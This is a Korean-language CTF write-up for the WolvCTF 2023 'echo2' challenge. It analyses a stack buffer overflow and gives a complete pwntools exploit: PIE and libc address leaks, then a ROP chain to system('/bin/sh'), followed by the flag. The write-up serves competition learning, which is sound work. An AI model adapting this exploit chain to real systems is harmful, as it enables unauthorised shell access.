New and improved echo?nc echotwo.wolvctf-2023.kctf.cloud 1337
Analysis 아쉽게도 이 문제는 소스코드가 없다. IDA로 열심이 열어서 분석해봤다.
1 2 3 4 5 6 7 8 9 10 11 int echo () { char ptr[264 ]; int v2; int v3; puts ("Welcome to Echo2" ); v3 = __isoc99_scanf("%d" , &v2); fread(ptr, 1uLL , v2, stdin ); return printf ("Echo2: %s\n" , ptr); }
입력값 크기를 직접 조절할 수 있다. 가뿐히 BOF가 발생한다.
Solve pie가 걸려있는데 어떻게 함수가 종료되고 다시 main
을 실행시킬 수 있을까? 1.5바이트가 일정한데 0.5바이트가 2였기 때문에 아래 \x47
, \x4b
, \x4c
를 찍어가며 ㅎㅎ.. main
으로 이동시키려고 노력했다. stack align이 안맞아서 \x4c
으로 이동했다.
pie가 걸려있기 때문에 leak을 해줘야 한다. pop rdi
가 바이너리에 없기 때문에 libc를 leak해야 할 때 약간 고민했는데 다음 명령어를 실행할 때 레지스터가 아래와 같았기 때문에 rdi
를 건드릴 필요가 없어졌다.
1 $rdi : 0x007ffdd808f940 → 0x007ff4dec620d0 → <funlockfile+0> endbr64
바로 printf
를 실행해주고 main
으로 돌려준 다음 libc의 pop rdi
를 이용하여 system('/bin/sh')
를 실행해주면 된다.
Exploit Code 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 from pwn import *context.arch = 'amd64' context.log_level = 'debug' p = remote('echotwo.wolvctf-2023.kctf.cloud' , 1337 ) e = ELF('./chall' ) libc = ELF('./libc.so.6' ) payload = b'' payload += b'a' * 0x117 + b'b' payload += b'\x4c' p.sendafter('2\n' , str (len (payload))) p.send(payload) p.recvuntil(b'b' ) pie_leak = u64(p.recv(6 ).ljust(8 , b'\x00' )) e.address = pie_leak - 0x124C info(hex (pie_leak)) info(hex (e.address)) ret = e.address + 0x101a payload = b'' payload += b'a' * 0x117 + b'b' payload += p64(ret) payload += p64(e.sym['printf' ]) payload += p64(ret) payload += p64(e.sym['main' ]) p.sendafter('2\n' , str (len (payload))) pause() p.send(payload) libc_leak = u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 , b'\x00' )) libc.address = libc_leak - 0x620d0 info(hex (libc_leak)) info(hex (libc.address)) pop_rdi = libc.address + 0x2a3e5 payload = b'' payload += b'a' * 0x117 + b'b' payload += p64(pop_rdi) payload += p64(next (libc.search(b'/bin/sh\x00' ))) payload += p64(ret) payload += p64(libc.sym['system' ]) p.sendafter('2\n' , str (len (payload))) pause() p.send(payload) p.interactive()
Flag 1 wctf{w3l1_m4yb3_th4t_w45_a_b4d_id3a}